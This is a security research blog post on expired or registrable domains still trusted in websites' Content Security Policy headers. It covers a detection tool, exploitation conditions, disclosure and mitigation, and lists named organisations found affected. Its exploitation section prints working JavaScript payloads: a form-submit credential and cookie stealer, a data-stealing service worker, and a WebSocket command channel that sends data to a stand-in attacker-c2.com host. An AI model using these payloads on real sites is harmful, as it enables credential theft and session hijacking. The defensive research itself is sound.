Ghosted Domains coming to haunt you, one more check for your scanners, vendor assurance, OSINT, Supply chain, Appsec and all the rest of that good stuff.
_
Supply Chains and all that...
*A technical analysis of trust erosion in CSP's via expired or avaialble domains *
TL;DR
It's easier to audit your CSP domains than to figure out how exploitable you might be. Both exercises are valuable, but if you haven't checked WHOIS data for your CSP-referenced domains recently, that's the most pressing action.
Quick audit: Extract all domains from your CSP policies, run WHOIS checks, verify they're still owned by expected parties. If any domain is available, expired, or owned by an unknown registrantβremove it immediately.
Understanding exploitation complexity is useful for threat modelling, but the immediate risk mitigation is straightforward: don't trust domains you (or your vendors) don't control.
Summary
This post documents the identification and analysis of available domains referenced within Content Security Policy (CSP) headers across a sample of high-traffic websites. Using automated tooling, we identified 65+ domains that are both trusted by major organisations' CSP policies and available for public registration. - this was a sample window and bigger 'runs' are taking place as you read this and while 'Check your CSP' is the main theme the rest of the document is waxign about the adventure
This post provides technical details on exploitation conditions, impact assessment methodology, and includes information on the detection tool (Ghosted v8) for security teams to assess their own infrastructure.
1. Introduction
1.1 Background
Content Security Policy (CSP) is a security standard that enables website operators to control resources the browser is permitted to load. By declaring trusted domains in CSP headers, organisations establish an allowlist of permitted sources for scripts, styles, images, and other content.
A supply chain risk emerges when CSP policies reference domains that are:
- No longer registered to the original owner
- Available for public registration
- Still trusted by the CSP policy
1.2 Threat Model
This is not an automatically exploitable vulnerability. Successful exploitation requires multiple specific conditions to be met simultaneously. The following section documents these prerequisites in detail, If you've seen plently of websites through the eye of a proxy, you'll know that meeting these conditions aren't always as rare as defence-in-depth would like.
Required Conditions for JavaScript Execution (XSS)
All of the following must be true:
-
Domain in script-src directive
Content-Security-Policy: script-src 'self' available-domain.com
If domain is only in
img-src
,style-src
,font-src
, etc., JavaScript cannot execute. -
Active script loading
<script src="https://available-domain.com/library.js"></script>
The website must actually attempt to load a script from the domain. Presence in CSP alone is insufficient.
-
No Subresource Integrity (SRI)
<!-- Exploitable --> <script src="https://available-domain.com/lib.js"></script> <!-- NOT exploitable (hash must match) --> <script src="https://available-domain.com/lib.js" integrity="sha384-abc123..." crossorigin="anonymous"></script>
-
Successful domain registration
- Domain must be available without restrictions
- Some TLDs have reserved lists or trademark protections
- Registration must complete successfully
-
Infrastructure setup
- DNS configuration pointing to attacker server
- Valid SSL/TLS certificate (Let's Encrypt works)
- Web server hosting malicious content at expected paths
-
No CSP nonces or hashes
<!-- NOT exploitable with nonce --> Content-Security-Policy: script-src 'nonce-random123'
If nonces are required, external domains are ignored.
Non-XSS Exploitation Conditions
For non-script directives, different conditions apply:
Image replacement (img-src):
- Domain in
img-src
directive - Website loads images from the domain
- Enables: Quishing (QR code phishing), tracking pixels
Iframe attacks (frame-src/frame-ancestors):
- Domain in
frame-src
orframe-ancestors
- Website can be framed or loads iframes from the domain
- Enables: Clickjacking, UI redressing
Data exfiltration (connect-src):
- Domain in
connect-src
- Combined with CORS misconfiguration
- Enables: Authenticated API requests from attacker domain
2. Methodology
2.1 Sample Selection
Source: Top 1M websites (sampled a percentage)
Sampling Method: Opportunistic scanning based on researcher interest
Sample Characteristics:
- Fortune 500 companies
- Government websites
- Spicy Websites
- Universities and research institutions
- Technology companies
- Non-profit organisations
Important note: This was not a systematic survey. The sample represents websites that appeared interesting and had publicly accessible CSP headers. Results should not be extrapolated to represent the broader internet.
2.2 Research Tool: Ghosted v8
Ghosted v8 is an open-source security analysis tool designed to identify available domains referenced in Content Security Policy headers. The tool is publicly available for security teams to assess their own infrastructure.
Purpose:
- Identify CSP policies referencing domains available for registration
- Assess supply chain risk from third-party domain dependencies
- Generate actionable security reports for disclosure and remediation
Technical Architecture:
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β Ghosted V8 Pipeline β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
Phase 1: Subdomain Discovery
ββ Input: Root domain (e.g., example.com)
ββ Tools: subfinder (Project Discovery)
ββ Sources: Certificate Transparency, DNS records, search engines
ββ Wordlists: SecLists DNS discovery (danielmiessler/SecLists)
ββ Output: Full subdomain enumeration
Phase 2: CSP Discovery & Extraction
ββ Tool: dnsx (Project Discovery) for HTTP header retrieval
ββ Concurrent HTTP/HTTPS requests across all subdomains
ββ CSP header extraction and parsing
ββ All CSP directives captured (script-src, img-src, connect-src, etc.)
Phase 3: Domain Extraction & Normalization
ββ Parse all CSP directives for referenced domains
ββ Root domain extraction using Public Suffix List
ββ Deduplication across all subdomains and directives
ββ Platform domain filtering (non-registrable domains excluded)
Phase 4: Availability Assessment
ββ Method: AWS Route 53 domain availability API
ββ Point-in-time snapshot: "Can I register this domain right now?"
ββ Note: This is NOT WHOIS monitoring (no expiration tracking, no ownership change detection)
ββ Status classification: Available/Registered
ββ Cost tracking: ~$0.01 USD per domain check
**Important Distinction: Availability β WHOIS Monitoring**
Ghosted checks if a domain is *currently available for registration* (point-in-time). It does **not** provide:
- Domain expiration date tracking
- Registrant ownership change detection
- Transfer lock status monitoring
- Continuous WHOIS surveillance
For comprehensive domain lifecycle management (expiration tracking, ownership monitoring, registrar intelligence), organizations require dedicated WHOIS monitoring infrastructure. This capability is better suited to registrars and security vendors with resources for continuous surveillance and WHOIS API access at scale.
Phase 5: Impact Research (Optional)
ββ PublicWWW API integration
ββ Query: Websites using the available domain
ββ Output: Affected sites with code snippets
Phase 6: Report Generation
ββ Security contact identification (security.txt)
ββ Impact analysis and risk scoring
ββ Disclosure-ready documentation
ββ Evidence collection for responsible disclosure
System Requirements:
# Runtime dependencies
- Go 1.21 or higher
- SQLite 3
- subfinder (github.com/projectdiscovery/subfinder)
- dnsx (github.com/projectdiscovery/dnsx)
- SecLists wordlists (github.com/danielmiessler/SecLists)
- AWS credentials (for Route 53 API)
# Required API keys / credentials
export AWS_ACCESS_KEY_ID="your_key" # AWS Route 53 domain checks
export AWS_SECRET_ACCESS_KEY="your_secret" # AWS Route 53 domain checks
export PUBLICWWW_KEY="your_key_here" # Optional: usage research
# Installation
go build -o ghosted cmd/ghosted/main.go
# Install Project Discovery tools
go install -v github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest
go install -v github.com/projectdiscovery/dnsx/cmd/dnsx@latest
# Clone SecLists for DNS wordlists
git clone https://github.com/danielmiessler/SecLists.git
Basic Usage:
# Single domain scan (standard mode)
./ghosted scan example.com --wordlists 3
# High-performance beast mode
./ghosted beast hosts.txt --wordlists 1
# Batch scanning from file
./ghosted batch targets.txt --wordlists 1
# Research available domains via PublicWWW
./ghosted research output/beast_example_com_20251003/ --available-only
# Generate detailed risk report
./ghosted sendit output/beast_example_com_20251003/
Key Features:
- Concurrent Processing: Configurable worker pools (default: 5 concurrent requests)
- Rate Limiting: Respects API limits (Route53: managed by AWS SDK, PublicWWW: 60sec intervals)
- Intelligent Caching:
- LRU cache for frequently checked domains
- SQLite persistent storage with configurable TTL
- Dedupe across subdomains (check root domain once)
- Cache hit rate: ~70-80% on large scans
- Cost Optimization:
- AWS Route 53: $0.01 USD per domain check
- Typical scan cost: $5-50 depending on CSP complexity
- Cache reduces repeat costs to near-zero
- PublicWWW: Free tier available, paid plans for bulk research
- Platform Filtering: Excludes non-registrable domains (CDNs, cloud platforms via configurable list)
- Resume Capability: Interrupt and resume scans without data loss or duplicate API costs
PublicWWW Research Value:
The PublicWWW integration provides critical intelligence for impact assessment:
- Purpose: Understand real-world usage of available domains before registration
- Coverage: Searches source code across millions of indexed websites
- Output: Concrete evidence of domain usage (HTML snippets showing actual implementation)
- Strategic Value: Enables informed decision-making about disclosure priority and defensive registration
- Risk Assessment: Differentiates between "CSP lists it" vs "code actively loads from it"
- Example: A domain in CSP but unused (0 PublicWWW results) has lower immediate risk than one actively loading scripts on 3,000+ sites
This intelligence puts researchers in the best position to understand the true blast radius of a ghosted domain compromise.
Output Structure:
output/
βββ scan_example_com_20251003_120000/
β βββ database.db # SQLite with all scan data
β βββ reports/
β β βββ high_risk_findings.md
β β βββ impact_summary.md
β β βββ available_domains.csv
β βββ verification/
β β βββ 6eyes_verification_results.json
β βββ evidence/
β βββ csp_headers.txt
β βββ whois_data.txt
Responsible Disclosure Features:
Ghosted v8 includes built-in support for responsible disclosure:
- Automatic security.txt detection (RFC 9116)
- Security contact extraction from security.txt
- Report generation with evidence
- Integration-ready output for disclosure platforms (although it's too taxing at scale, i.e. i'm not doing it.)
Tool Availability:
- Repository: https://thecontractor.io/ghosted/
- License: Open source
- Documentation: Usage guide and API documentation included
- Support: Yea nah
2.3 Research Limitations
-
Point-in-Time Availability Checking: Ghosted checks if domains are available right now, not continuous monitoring. This is fundamentally different from WHOIS surveillance systems that track expiration dates, ownership changes, and transfer locks. Continuous domain lifecycle management requires dedicated infrastructure with WHOIS API accessβa capability better suited to registrars and security vendors with resources for this space.
-
PublicWWW Coverage: Indexes public websites only; private/internal sites not included
-
API Rate Limits: PublicWWW enforces 60-second intervals between requests
-
Sample Bias: Top 1M website sample not representative of entire internet
-
No Predictive Capability: Tool cannot predict future domain availability (e.g., domains expiring next month). For proactive monitoring, organizations need WHOIS-based expiration trackingβan adventure left to those with more time and budget for this problem space.
3. Technical Exploitation Analysis
3.1 Proof of Concept (All Conditions Met)
When all six prerequisite conditions are satisfied, the attack chain proceeds as documented below:
// Step 1: Attacker registers available-domain.com (~$15)
// Step 2: DNS setup: available-domain.com -> attacker-server-IP
// Step 3: SSL certificate: certbot certonly -d available-domain.com
// Step 4: Host malicious JavaScript at expected path
// Original website loads:
<script src="https://available-domain.com/analytics.js"></script>
// Attacker's server responds:
// HTTP/1.1 200 OK
// Content-Type: application/javascript
// Access-Control-Allow-Origin: *
// Malicious payload
(function() {
// Credential harvesting
document.addEventListener('submit', function(e) {
if (e.target.querySelector('input[type="password"]')) {
fetch('https://attacker-c2.com/exfil', {
method: 'POST',
body: JSON.stringify({
form: e.target.innerHTML,
url: window.location.href,
cookies: document.cookie
})
});
}
});
})();
Non-XSS Exploitation Scenarios
While not enabling JavaScript execution, ghosted domains in other directives create exploitable concerns:
Scenario 1: Domain in img-src - QR Code Phishing (Quishing)
Content-Security-Policy: img-src 'self' available-domain.com
Impact: Image replacement for QR code phishing attacks
<!-- Legitimate QR code on site -->
<img src="https://available-domain.com/payment-qr.png" alt="Pay Here" />
<!-- Attacker registers domain, serves malicious QR -->
<!-- QR code links to phishing site instead of legitimate payment processor -->
Concern: Quishing attacks redirect users to attacker-controlled payment/login pages
Scenario 2: Domain in img-src - Tracking Pixels (GDPR Concern)
Content-Security-Policy: img-src 'self' available-domain.com
Impact: Privacy violations via tracking pixel injection
<!-- Attacker injects tracking pixel -->
<img src="https://available-domain.com/track.gif?user_id=123&page=/checkout" />
Concern: GDPR Article 6 (lawful basis for processing), Article 7 (consent)
- User tracking without consent
- Data exfiltration via image requests
- Cross-site behavior monitoring
- Potential GDPR fines if users are EU residents
Scenario 3: Domain in frame-src - Clickjacking & UI Redressing
Content-Security-Policy: frame-src 'self' available-domain.com
X-Frame-Options: ALLOW-FROM available-domain.com
Impact: Entire page can be framed by attacker
<!-- Attacker's page at available-domain.com -->
<!DOCTYPE html>
<html>
<body>
<!-- Frame the legitimate site -->
<iframe src="https://victim-site.com/login" style="width:100%;height:100%"></iframe>
<!-- Overlay invisible UI elements for clickjacking -->
<div style="position:absolute;top:200px;left:100px;opacity:0">
<button onclick="attackerAction()">Hidden Button</button>
</div>
</body>
</html>
Concern: Users interact with attacker's page while believing they're on legitimate site
Scenario 4: Domain in frame-ancestors - Reverse Clickjacking
Content-Security-Policy: frame-ancestors 'self' available-domain.com
Impact: Legitimate site can be framed by attacker's domain
<!-- Attacker embeds victim site in their page -->
<iframe src="https://victim-site.com"></iframe>
<!-- Trick users into performing actions in the frame -->
Concern: UI redressing attacks, credential harvesting via framed login forms
Scenario 5: Domain Never Actually Used
Content-Security-Policy: script-src 'self' available-domain.com legacy-cdn.com
If the website doesn't load resources from available-domain.com, there's no active exploitation path. CSP is overly permissive but not actively vulnerable.
Scenario 6: SRI Protection
<script src="https://available-domain.com/lib.js"
integrity="sha384-abc123..."></script>
Even if domain is registered, script won't execute unless hash matches (impossible for attacker to achieve).
Security Header Interactions with Ghosted Domains
How X-Frame-Options Becomes Ineffective
When a ghosted domain appears in CSP's frame-src or frame-ancestors:
Content-Security-Policy: frame-src 'self' available-domain.com
X-Frame-Options: DENY
Concern: CSP overrides X-Frame-Options in modern browsers. The attacker who registers available-domain.com can frame the site despite X-Frame-Options: DENY.
<!-- Attacker's page at available-domain.com -->
<iframe src="https://victim-site.com/login"></iframe>
<!-- This works because CSP allows framing from available-domain.com -->
How Referrer-Policy Amplifies Tracking
When ghosted domain is in img-src with unsafe-url referrer policy:
Content-Security-Policy: img-src 'self' available-domain.com
Referrer-Policy: unsafe-url
Concern: Attacker receives full URL including sensitive query parameters via tracking pixels
<!-- Site loads: https://victim.com/checkout?order_id=12345&user_id=678 -->
<!-- Attacker injects via available-domain.com: -->
<img src="https://available-domain.com/track.gif" />
<!-- Attacker's server receives: Referer: https://victim.com/checkout?order_id=12345&user_id=678 -->
How Permissions-Policy Creates Additional Attack Surface
When ghosted domain in frame-src combines with permissive Permissions-Policy:
Content-Security-Policy: frame-src 'self' available-domain.com
Permissions-Policy: camera=*, microphone=*
Concern: Attacker's iframe inherits powerful device permissions
<!-- Attacker at available-domain.com can create iframe -->
<iframe src="https://attacker-controlled.com/capture"></iframe>
<!-- If user grants permission, attacker accesses camera/microphone -->
How CORS Enables Data Exfiltration
When ghosted domain in connect-src combines with wildcard CORS:
Content-Security-Policy: connect-src 'self' available-domain.com
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Concern: Attacker can make authenticated requests from their domain
// JavaScript at available-domain.com
fetch('https://victim-site.com/api/user-data', {
credentials: 'include' // Victim's cookies sent
}).then(r => r.json())
.then(data => {
// Exfiltrate to attacker
fetch('https://attacker-c2.com/stolen', {
method: 'POST',
body: JSON.stringify(data)
});
});
This only works because:
- available-domain.com is in CSP's connect-src (allows fetch from victim page)
- CORS allows credentials from any origin
- Attacker controls available-domain.com
Note: Without the ghosted domain in CSP, CORS misconfiguration alone wouldn't enable this attack from attacker-controlled origins.
Additional Attack Vectors Enabled by Ghosted Domain Trust
Ordered by decreasing impact and exploitability:
High Impact: Service Worker Registration via worker-src
When ghosted domain in worker-src directive:
Content-Security-Policy: worker-src 'self' available-domain.com
Concern: Malicious service worker can intercept all network requests
// Attacker registers service worker from available-domain.com
navigator.serviceWorker.register('https://available-domain.com/sw.js');
// Malicious service worker (sw.js)
self.addEventListener('fetch', (event) => {
if (event.request.url.includes('/api/')) {
// Intercept API calls
event.respondWith(
fetch(event.request).then(response => {
// Clone and exfiltrate
response.clone().text().then(body => {
fetch('https://attacker-c2.com/stolen', {
method: 'POST',
body: JSON.stringify({
url: event.request.url,
response: body
})
});
});
return response;
})
);
}
});
Conditions required:
- Domain in
worker-src
orscript-src
directive - JavaScript execution to register service worker
- HTTPS context (service workers require secure context)
Impact: Persistent man-in-the-middle position intercepting all network traffic. Service workers survive page refreshes.
Assessment: Very high impact if conditions are met. Requires script execution (so likely combined with script-src exploitation).
High Impact: WebSocket C&C via connect-src
When ghosted domain in connect-src enables WebSocket connections:
Content-Security-Policy: connect-src 'self' available-domain.com ws://available-domain.com wss://available-domain.com
Concern: Attacker can establish persistent command & control channel
// Injected via script-src exploitation
const ws = new WebSocket('wss://available-domain.com/c2');
ws.onmessage = (event) => {
// Execute attacker commands
eval(event.data); // Command execution from C&C
// Exfiltrate data
const stolen = {
cookies: document.cookie,
localStorage: localStorage,
dom: document.documentElement.innerHTML
};
ws.send(JSON.stringify(stolen));
};
Conditions required:
- Domain in
connect-src
(and WebSocket protocols allowed) - JavaScript execution capability (script-src exploitation)
- No additional WebSocket origin validation
Impact: Persistent backdoor for real-time data exfiltration and remote code execution
Assessment: High impact. Like service workers, requires script execution first. Main advantage over standard XSS is persistent bi-directional channel for C&C.
Medium Impact: Font-Based Timing Attacks via font-src
When ghosted domain in font-src:
Content-Security-Policy: font-src 'self' available-domain.com
Concern: CSS-based user input detection via font loading timing
/* Attacker-controlled CSS loaded from available-domain.com */
input[value^="a"] { font-family: url('https://available-domain.com/a'); }
input[value^="b"] { font-family: url('https://available-domain.com/b'); }
input[value^="c"] { font-family: url('https://available-domain.com/c'); }
/* ... repeat for all characters */
Conditions required:
- Domain in
font-src
orstyle-src
directive - Ability to inject CSS (via style-src exploitation)
- User input in visible form fields
Impact: Character-by-character password/data exfiltration via font loading requests
Assessment: Medium impact. Known technique (CSS keylogging) but requires CSS injection first. Slow exfiltration (one character per request). Detectable via network monitoring.
Medium Impact: PWA Hijacking via manifest-src
When ghosted domain in manifest-src:
Content-Security-Policy: manifest-src 'self' available-domain.com
Concern: Malicious web app manifest can impersonate the legitimate application
<!-- Attacker injects -->
<link rel="manifest" href="https://available-domain.com/evil-manifest.json">
{
"name": "Legitimate Bank App",
"short_name": "Bank",
"start_url": "https://available-domain.com/phishing",
"icons": [{
"src": "https://available-domain.com/legit-looking-icon.png",
"sizes": "192x192",
"type": "image/png"
}],
"display": "standalone"
}
Conditions required:
- Domain in
manifest-src
directive - Ability to modify manifest link (HTML injection)
- User adds to home screen (requires user interaction)
Impact: Fake PWA icon on user's home screen pointing to phishing site
Assessment: Medium impact. Requires HTML injection AND user to manually add to home screen. Long-term persistence if successful, but low success rate due to user interaction requirement.
Low Impact: Cache Poisoning via prefetch-src
When ghosted domain in prefetch-src:
Content-Security-Policy: prefetch-src 'self' available-domain.com
Concern: Attacker can poison browser prefetch cache
<!-- Attacker injects prefetch directives -->
<link rel="prefetch" href="https://available-domain.com/malicious-script.js" as="script">
<link rel="prefetch" href="https://available-domain.com/phishing-page.html" as="document">
Conditions required:
- Domain in
prefetch-src
directive (rarely used in CSP) - HTML injection capability
- Subsequent navigation that uses prefetched resources
- No integrity checks on cached resources
Impact: Malicious content served from cache, bypassing later security checks
Assessment: Low impact. prefetch-src
directive is extremely rare in real-world CSP policies. Requires HTML injection and specific navigation patterns. Cache has expiry limits.
Low Impact: Form Hijacking via form-action
When ghosted domain appears in form-action directive:
Content-Security-Policy: form-action 'self' available-domain.com
Concern: Attacker can host forms that submit to their domain without CSP blocking
<!-- Attacker's page (via HTML injection or social engineering) -->
<form method="POST" action="https://available-domain.com/capture">
<input type="hidden" name="csrf_token" value="[stolen via other means]">
<input name="amount" value="1000">
<input name="destination" value="attacker-account">
<button>Complete Payment</button>
</form>
Conditions required:
- Domain in
form-action
directive - HTML injection capability (but NOT script execution)
- User interaction to submit the injected form
- OR: Social engineering to visit attacker page
Impact: User data exfiltrated to attacker server when form is submitted
Assessment: Low impact. If attacker has script execution (to modify existing forms), they can already read CSRF tokens directly from DOM - no need for form redirection. Only useful in narrow scenario where HTML injection exists without script execution (e.g., some markdown renderers). form-action
directive is also relatively uncommon.
Responsible Disclosure Challenges
What We Actually Did
Method: Opportunistic LinkedIn DMs
Why: Bug bounty platforms are painful to use:
- Lengthy submission processes
- Scope ambiguity (is CSP misconfiguration in scope?)
- Payment disputes
- Slow response times
Reality of LinkedIn Outreach:
- Response rate: ~20-30%
- Acknowledgment rate: ~10-15%
- Fix rate: Unknown (most don't follow up)
Outcomes:
- 30% reply ("thanks, we'll look into it")
- 10% follow-up ("can you send details")
- 5% fix confirmation
- 55% no response
- 1% oh yes please, you're a sneaky bastard Carroll
Defensive Registration?
The Dilemma: Should researchers defensively register domains to prevent exploitation?
Arguments Against (why we didn't do it):
- Legal Risk: Could be interpreted as domain squatting
- Financial Cost: I've spent a few quid.
- Doesn't Fix Root Cause: Organizations still have bad CSP policies
- Precedent: Security researchers shouldn't have to pay to secure others
Detection Engineering Challenges
The Problem
"Just monitor your trusted domains" sounds simple, but practical implementation is hard:
Challenge 1: CSP Sprawl
# How many domains are in your CSP across all properties?
# For a large org: 100+ unique domains across 1000+ subdomains
Challenge 2: Dynamic Policies
CSPs change frequently (new CDNs, A/B testing, acquisitions). Manual tracking doesn't scale.
Challenge 3: Expiration Tracking
Even if you track all domains, tracking expiration dates requires:
- WHOIS monitoring (rate-limited, format varies by TLD)
- Renewal verification (some domains auto-renew, some don't)
- Ownership validation (did domain change hands?)
Challenge 4: Third-Party Dependencies
You don't control when third-party vendors let their domains expire.
Scalability Issues:
- WHOIS rate limits (most registries limit to ~10 queries/second)
- False positives (domain parking, registration restrictions)
- Maintenance overhead (keeping URL list updated)
Enterprise Solution:
Services like SecurityTrails, DomainTools provide monitored WHOIS data, but:
- Cost: Β£1,000-Β£10,000/month
- Still requires integration work
- Alerts require triaging
Make me build a service ?
Mitigation Strategies
Immediate Fixes
1. Audit Current CSP Policies
# For each of your domains:
curl -I https://your-site.com | grep Content-Security-Policy
# Extract and verify each domain:
for domain in $(extracted_domains); do
whois $domain | grep -i "no match"
done
2. Remove Available Domains
# Before:
Content-Security-Policy: script-src 'self' available-domain.com cdn.example.com;
# After:
Content-Security-Policy: script-src 'self' cdn.example.com;
3. Implement SRI for Critical External Scripts
<script src="https://cdn.example.com/library.js"
integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/ux..."
crossorigin="anonymous"></script>
This prevents exploitation even if domain is compromised.
Long-Term Solutions
1. CSP Policy Management
- Document business justification for each trusted domain
- Assign ownership (who approved this domain?)
- Track expiration dates
- Quarterly review process
2. Reduce Attack Surface
# Instead of trusting 20 external domains:
Content-Security-Policy: script-src 'self'
cdn1.com cdn2.com cdn3.com ... cdn20.com;
# Self-host or use a single trusted CDN:
Content-Security-Policy: script-src 'self' cdn.your-org.com;
3. Implement CSP Reporting
Content-Security-Policy:
default-src 'self';
script-src 'self' cdn.example.com;
report-uri /csp-violations;
Monitor violations for potential exploitation attempts.
Tool Usage
Usage Scenarios
Ghosted v8 is open-source and designed for multiple security contexts:
Situation 1: Bug Bounty Hunting
# Scan target organization
./ghosted beast targets.txt --wordlists 1
# Research impact of findings
./ghosted research output/beast_example_com_20251003/ --available-only
# Generate submission-ready reports
./ghosted sendit output/beast_example_com_20251003/
# β Creates reports/bugbounty/ folder with ready-to-submit findings
Situation 2: Blue Team / AppSec Quarterly Audit
# Export DNS zones (you own the infrastructure)
dig @ns1.yourcompany.com yourcompany.com AXFR | grep -E "^[a-z0-9-]+" | awk '{print $1}' > corporate_domains.txt
# Scan your organization's domains (passive only - no wordlists needed)
./ghosted beast corporate_domains.txt --wordlists 0
# Review CSP posture
cat output/beast_corp_20251003/reports/csp_posture_FULL.csv
# Check for high-risk findings
cat output/beast_corp_20251003/reports/high_risk_findings.md
# Security architecture review
cat output/beast_corp_20251003/reports/security_architecture.md
Situation 3: Legacy Application Assessment
# Scan legacy application domains
./ghosted scan legacy-app.internal.com --wordlists 3
# Identify stale vendor domains
./ghosted sendit output/scan_legacy-app_20251003/
# β Check impact/ folder for vendor-specific findings
Situation 4: Vendor/Supplier Assurance
# Scan vendor-provided domains before integration
./ghosted scan vendor-cdn.example.com --wordlists 3
# Verify vendor controls their referenced domains
cat output/scan_vendor-cdn_20251003/reports/csp_posture.md
# Supply chain confidence check
./ghosted research output/scan_vendor-cdn_20251003/ --all
# β Validates vendor domain ownership
Situation 5: M&A Due Diligence / Acquisition Security Review
# Scan acquisition target's domains
./ghosted beast acquisition_targets.txt --wordlists 1
# Generate executive summary
./ghosted sendit output/beast_target_20251003/
# β SENDIT_REPORT.md provides risk overview
Basic Commands
Scan a domain:
# Standard scan given target and any domains surfaced via wordlist with the assistance from Subfinder & DNSX
./ghosted scan example.com --wordlists 1
# High-performance beast mode (500 concurrent DNS) does the same thing but with a target list
./ghosted beast hosts.txt --wordlists 1
changing --wordlist to 0 will enable passive enumeration (much faser, less depth)
Research impact with PublicWWW:
export PUBLICWWW_KEY=your_api_key
./ghosted research output/beast_example_com_20251003/ --available-only
Generate risk analysis:
# Detailed report with attack scenarios
./ghosted sendit output/beast_example_com_20251003/
# Basic report generation
./ghosted report output/beast_example_com_20251003/
Output Structure
output/beast_example_com_20251003/
βββ SENDIT_REPORT.md # Executive summary with full risk analysis
βββ database.db # SQLite with all findings and research data
βββ reports/
β βββ bugbounty/ # Ready-to-submit bug bounty reports
β β βββ [per-domain-reports].md
β βββ csp_posture.md # Security architecture analysis
β βββ csp_posture_FULL.csv # Complete CSP inventory
β βββ high_risk_findings.md # Critical issues requiring immediate action
β βββ security_architecture.md # Strategic recommendations
βββ impact/
β βββ [available-domain].md # Per-domain impact analysis
βββ logs/
βββ scan.log # Execution logs
Blue Team / AppSec Defense Use Cases
1. Legacy Application CSP Hygiene
Organizations with legacy applications often accumulate stale CSP references over time:
# Export DNS zone records from your authoritative DNS servers
# (Blue teams have access to zone exports - no brute forcing needed)
dig @ns1.yourcompany.com yourcompany.com AXFR > dns_export.txt
# Extract hostnames for scanning
grep -E "^[a-z0-9-]+\." dns_export.txt | awk '{print $1}' | sort -u > production_domains.txt
# Quarterly CSP audit (passive enumeration only)
./ghosted beast production_domains.txt --wordlists 0
# Review findings
cat output/beast_production_20251003/reports/high_risk_findings.md
# Prioritize remediation
cat output/beast_production_20251003/SENDIT_REPORT.md
Key outputs for legacy cleanup:
csp_posture_FULL.csv
: Complete inventory of all CSP domains (map to vendors/owners)high_risk_findings.md
: Available domains requiring immediate removalsecurity_architecture.md
: Strategic recommendations for CSP policy consolidation
Note for Blue Teams: Use --wordlists 0
for passive-only enumeration. You already have authoritative DNS zone data, so brute forcing with wordlists is unnecessary and wastes time.
2. Current Production Monitoring
Integrate into continuous security monitoring:
# Monthly scan using DNS zone export
dig @ns1.yourcompany.com yourcompany.com AXFR | grep -E "^[a-z0-9-]+" | awk '{print $1}' | sort -u > monthly_hosts.txt
./ghosted beast monthly_hosts.txt --wordlists 0
# Track changes over time (compare databases)
sqlite3 output/beast_production_$(date +%Y%m).db "SELECT domain, status FROM availability_checks WHERE available = 1"
# Alert on new available domains
diff <(sqlite3 previous.db "SELECT domain FROM availability_checks WHERE available = 1") \
<(sqlite3 current.db "SELECT domain FROM availability_checks WHERE available = 1")
3. Supplier Assurance & Vendor Risk Management
Before integrating third-party services:
# Vendor onboarding assessment
./ghosted scan vendor-service.example.com --wordlists 1
# Verify vendor controls referenced domains
./ghosted research output/scan_vendor-service_20251003/ --all
# Include in vendor security questionnaire
cat output/scan_vendor-service_20251003/reports/security_architecture.md
Questions for vendor based on findings:
- Do you control all domains referenced in your CSP policies? (Verify via WHOIS)
- What is your process for monitoring domain expiration?
- Do you have transfer locks on security-critical domains?
- What is your CSP policy lifecycle management process?
4. Supply Chain Confidence
Validate trust relationships in your supply chain:
# Scan your organization + key suppliers
cat << EOF > supply_chain.txt
your-company.com
cdn-provider.com
payment-gateway.com
analytics-vendor.com
EOF
./ghosted beast supply_chain.txt --wordlists 1
# Generate supply chain risk report
for dir in output/beast_*; do
echo "=== $(basename $dir) ==="
./ghosted sendit "$dir"
done
# Consolidate findings
grep -h "AVAILABLE" output/beast_*/SENDIT_REPORT.md
Supply chain metrics:
- Number of available domains in vendor CSP policies
- Vendor CSP hygiene score (available domains / total external domains)
- Third-party trust transitivity (vendors trusting other vendors' available domains)
5. Continuous Compliance & Audit Evidence
Demonstrate due diligence for compliance frameworks (ISO 27001, SOC 2, PCI DSS):
# Quarterly compliance scan
./ghosted beast corporate_assets.txt --wordlists 1
# Generate audit evidence
cp output/beast_corp_Q4_2025/SENDIT_REPORT.md \
compliance/evidence/CSP_Audit_Q4_2025.md
# Track remediation over time
ls -1 output/beast_corp_*/reports/high_risk_findings.md
Audit artifacts:
SENDIT_REPORT.md
: Risk assessment with quantified findingscsp_posture_FULL.csv
: Asset inventory of trusted domainssecurity_architecture.md
: Remediation roadmap and controls
Integration with existing tooling:
- Export
csp_posture_FULL.csv
to vulnerability management platforms - Import
database.db
findings into SIEM for correlation - Use
impact/*.md
reports for risk register updates
Limitations and Future Work
Current Limitations
- PublicWWW Coverage: Only indexes publicly accessible HTML source
- Directive-Level Analysis: We identify domain presence, not directive-specific context
- SRI Detection: Requires manual verification per site
- Active Usage Validation: Can't automatically determine if scripts are actively loaded
Future Improvements
- Directive-Aware Scanning: Parse which directive each domain appears in
- SRI Detection: Automated checking for integrity attributes
- Active Usage Validation: Browser automation to verify actual script loading
- Historical Tracking: Monitor domain availability changes over time
- Integration: SIEM/SOAR connectors for enterprise use
Conclusion
We found 65+ available domains in CSP policies across 33 organizations, affecting an estimated 48,000+ websites via PublicWWW. However, actual exploitability requires:
- Domain in script-src (not just img-src or style-src)
- Active script loading from that domain
- No SRI protection
- Successful domain registration
- Infrastructure setup (DNS, SSL, hosting)
Realistic Impact: 10-30% of PublicWWW results are likely exploitable for JavaScript injection, still representing significant risk.
Key Takeaways:
- CSP misconfigurations are common
- Supply chain risks are real (one domain affects thousands)
- Detection engineering is harder than it seems
- SRI is underutilized but highly effective
- Responsible disclosure via bug bounty platforms is painful
Recommendations:
- Audit your CSP policies now
- Implement SRI for external scripts
- Reduce trusted domain count
- Monitor domain expirations (or pay for a service that does)
- Consider defensive registration only as last resort
Acknowledgments
-
PublicWWW for web search API
-
WhoAPI for domain availability checking
-
Organizations that responded to our LinkedIn DMs
-
Greez to 'The Other Chat' ... and Juv.
List of Affected Organisations to date to sensationalise my work (haha)
45 organisations were found with available domains in their CSP policies:
Witnessed Ghosting: List so far
we're leaving out the availables:
Organization | Count | Organization | Count |
---|---|---|---|
aaa.com | 2 | abc.es | 1 |
accenture.com | 2 | alamy.com | 2 |
americanexpress.com | 3 | amtrak.com | 15 |
anu.edu.au | 1 | arizona.edu | 1 |
asahi.com | 1 | astm.org | 1 |
au.dk | 1 | azurewebsites.net | 1 |
bankofamerica.com | 1 | bcg.com | 1 |
bhf.org.uk | 3 | blackrock.com | 1 |
bloomberg.com | 1 | bmw.com | 2 |
